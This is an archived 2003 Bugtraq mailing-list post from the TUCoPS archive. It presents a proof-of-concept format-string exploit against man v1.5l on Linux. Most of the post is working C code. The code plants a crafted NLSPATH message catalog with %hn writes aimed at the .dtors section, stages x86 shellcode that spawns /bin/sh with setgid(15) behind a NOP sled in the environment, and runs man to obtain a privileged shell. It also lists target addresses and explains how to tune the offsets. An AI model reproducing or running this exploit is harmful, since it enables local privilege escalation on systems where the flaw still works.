Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Linux :: Apps A-M :: bt1434.txt

man: (catalog) format strings exploit / POC.






----- Original Message ----- 
From: "Vade 79" <v9@fakehalo.deadpig.org>
To: <bugtraq@securityfocus.com>
Sent: Tuesday, June 03, 2003 5:40 AM
Subject: man[v1.5l]: (catalog) format strings exploit / POC.


> 
> 
> was looking at the source code to man, and came upon this.  newer (g)
> libc's will stop this from happening.  but, still worth noting/effective 
> bypass with older (g)libc's (explained in exploit header)
> 
> Vade79 -> fakehalo.deadpig.org -> fakehalo.
> 
> -- xmanfmt.c: start --
> 
> /* (linux)man[v1.5l]: format string exploit. *
>  *                                           *
>  * by: v9@fakehalo.deadpig.org / fakehalo.   *
>  *                                           *
>  * man v1.5l, and below, contain a format s- *
>  * tring vulnerability.  the vulnerability   *
>  * occurs when man uses an optional catalog  *
>  * file, supplied by the NLSPATH/LANG envir- *
>  * onmental variables.                       *
>  *                                           *
>  * this exploit takes advantage of this vul- *
>  * nerability by making a fake catalog.  the *
>  * n, changing the 8th catget, which is "Wh- *
>  * at manual page do you want?", to "8 %.0d- *
>  * &hn%.0d&hn". (0=filled in correctly :))   *
>  *                                           *
>  * since the environment is the closest user *
>  * supplied data reached popping, the explo- *
>  * it works like so:                         *
>  *                                           *
>  * format bug itself: "8 %.0d&hn%.0d&hn",    *
>  * ENVVAR=<dtors+2><dtors><nops><shellcode>. *
>  * so, the numbers used to write the address *
>  * are found in the environment, making the  *
>  * environment needing to be well aligned.   *
>  *                                           *
>  * the bug itself is located here:           *
>  * gripes.c:89:vfprintf(stderr,getmsg(n),p); *
>  * (getmsg() returns data from the catalog)  *
>  *                                           *
>  * successful exploitation will look like:   *
>  * 000...000000000000000001074078752sh-2.04# *
>  *                                           *
>  * note: recent glibc versions unsetenv()    *
>  * NLSPATH, along with other environmental   *
>  * variables, when running set*id programs.  *
>  * so, this exploit is limited in that rega- *
>  * rd.  this is just a proof of concept any- *
>  * ways.                                     *
>  *********************************************/
> 
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <pwd.h>
> 
> #define PATH "/usr/bin/man" /* man binary. */
> #define NOP_AMT 4096 /* number of NOPs.    */
> #define LANG_NAME "xx" /* "en", "fr", ...  */
> 
> static char x86_exec[]= /* with setgid(15); */
>  "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
>  "\x0f\xcd\x80\x89\x76\x08\x31\xc0\x88\x46"
>  "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
>  "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
>  "\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62"
>  "\x69\x6e\x2f\x73\x68\x01";
> 
> struct platform {
>  unsigned short align;
>  unsigned int pops;
>  unsigned long dtors_addr;
>  unsigned long ret_addr;
>  char *exec;
> };
> 
> struct platform target[2] =
> {
>  {
>   /* alignment.                        */
>   0,
>   /* pops, example provided below.     */
>   88,
>   /* objdump -sj.dtors /usr/bin/man    */
>   (0x805122c+4),
>   /* generalized number, room to work. */
>   0xbffffe01,
>   /* shellcode, with setgid(15)        */
>   x86_exec
>  },
>  { 0, 0, 0, 0, NULL }
> };
> 
> char *setfmt(unsigned int);
> char *setfmtmem(unsigned int);
> char *setlang(unsigned int);
> void printe(char *);
> 
> int main(int argc,char **argv){
>  extern char **environ;
> 
>  if(argc<2){
>   printf("(*)man[v1.5l]: format string exploit.\n"
>   "(*)by: v9@fakehalo.deadpig.org / fakehalo.\n\n"
>   "syntax: %s <platform>\n"
>   " 0 : Compiled RH/linux 2.4.2-2.\n",argv[0]);
>   exit(1);
>  }
>  if(atoi(argv[1])>0)
>   printe("main(): invalid platform number");
> 
>  /* reset environment to ensure addresses   */
>  /* are aligned.  as the pointer used is    */
>  /* going to be aligned in the environment. */
>  bzero((void *)&environ,sizeof(environ));
>  if(!(environ=(char **)malloc(3*(sizeof(char *)))))
>   printe("main(): allocation of memory error");
> 
>  /* X<alignment>=<addr+2><addr><nops><shellcode> */
>  environ[0]=setfmtmem(atoi(argv[1]));
> 
>  /* NLSPATH=/path/to/lang. */
>  environ[1]=setlang(atoi(argv[1]));
>  environ[2]=0x0;
> 
>  if(execlp(PATH,PATH,0))
>   printe("main(): failed to execute man");
> 
>  exit(0);
> }
> /* makes buffer: "8 %0d$hn%0d$hn" */
> char *setfmt(unsigned int pf){
>  unsigned int addrl,addrh;
>  unsigned int pops=target[pf].pops;
>  unsigned long addr=target[pf].ret_addr;
>  char *buf;
> 
>  addrh=(addr&0xffff0000)>>16;
>  addrl=(addr&0x0000ffff);
> 
>  if(!(buf=(char *)malloc(64+1)))
>   printe("setfmt(): allocating memory failed");
>  bzero(buf,(64+1));
> 
>  if(addrh<addrl)
>   sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn",
>   (addrh-1),pops,(addrl-addrh),(pops+1));
>  else
>   sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn",
>   (addrl-1),(pops+1),(addrh-addrl),pops);  
> 
> /* example of how to find amount of pops.  */
> /* run the exploit with this return(),     */
> /* adding "%x"'s, until you see your data. */
> /* return("8 "
>  "%x %x %x %x %x %x %x %x %x %x" // 10
>  "%x %x %x %x %x %x %x %x %x %x" // 20
>  "%x %x %x %x %x %x %x %x %x %x" // 30
>  "%x %x %x %x %x %x %x %x %x %x" // 40
>  "%x %x %x %x %x %x %x %x %x %x" // 50
>  "%x %x %x %x %x %x %x %x %x %x" // 60
>  "%x %x %x %x %x %x %x %x %x %x" // 70
>  "%x %x %x %x %x %x %x %x %x %x" // 80
>  "%x %x %x %x %x %x %x %x" // 8+80=88. (my box)
>  "\n"); */
> 
>  return(buf);
> }
> /* makes buffer: <addr+2><addr><nops><shellcode> */ 
> char *setfmtmem(unsigned int pf){
>  unsigned short align=target[pf].align;
>  unsigned long dtors=target[pf].dtors_addr;
>  char filler[][4]={"","X","XX","XXX"};
>  char taddr[3];
>  char *buf;
>  char *exec=target[pf].exec;
> 
>  taddr[0]=(dtors&0xff000000)>>24;
>  taddr[1]=(dtors&0x00ff0000)>>16;
>  taddr[2]=(dtors&0x0000ff00)>>8;
>  taddr[3]=(dtors&0x000000ff);
> 
>  if(!(buf=(char *)malloc(strlen(exec)+align+
>  NOP_AMT+11)))
>   printe("getfmtmem(): allocating memory failed");
> 
>  bzero(buf,(strlen(exec)+align+NOP_AMT+11));
>  sprintf(buf,"X%s=%c%c%c%c%c%c%c%c",
>   filler[align],
>   taddr[3]+2,taddr[2],taddr[1],taddr[0],
>   taddr[3],taddr[2],taddr[1],taddr[0]);
> 
>  memset(buf+(10+align),0x90,NOP_AMT);
>  memcpy(buf+((10+align+NOP_AMT)-strlen(exec)),
>  exec,strlen(exec));
> 
>  return(buf);
> }
> char *setlang(unsigned int pf){
>  char *langfile;
>  char *langsrc;
>  char *execbuf;
>  char *envbuf;
>  struct passwd *pwd;
>  FILE *fs;
> 
>  if(!(pwd=getpwuid(getuid())))
>   printe("passwd entry doesn't appear to exist");
>  else{
>   if(strlen(pwd->pw_dir)){
>    if(!(langfile=(char *)malloc(strlen((char *)
>    pwd->pw_dir)+strlen(LANG_NAME)+7)))
>     printe("setlang(): allocating memory failed");
>    sprintf(langfile,"%s/mess.%s",(char *)pwd->pw_dir,
>    LANG_NAME);
>   }
>   else
>    printe("passwd entry lookup failure");
>  }
>  if(!(langsrc=(char *)malloc(strlen(langfile)+5)))
>   printe("setlang(): allocating memory failed");
> 
>  sprintf(langsrc,"%s.src",langfile);
> 
>  if(!(fs=fopen(langsrc,"w")))
>   printe("setlang(): failed to write to cat file.");
>  fs=fopen(langsrc,"w");
>  fprintf(fs,"%s\n",setfmt(pf));
>  fclose(fs);
> 
>  if(!(execbuf=(char *)malloc(strlen(langfile)+
>  strlen(langsrc)+9)))
>   printe("setlang(): allocating memory failed");
>  sprintf(execbuf,"gencat %s %s",langfile,langsrc);
> 
>  unlink(langfile);
>  system(execbuf);
> 
>  if(!(envbuf=(char *)malloc(strlen(langfile)+9)))
>   printe("setlang(): allocating memory failed");
>  sprintf(envbuf,"NLSPATH=%s",langfile);
> 
>  free(langfile);
>  free(langsrc);
>  free(execbuf);
> 
>  return(envbuf);
> }
> void printe(char *err){
>  fprintf(stderr,"error: %s.\n",err);
>  exit(0);
> }
> 
> -- xmanfmt.c: end --
> 
> 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH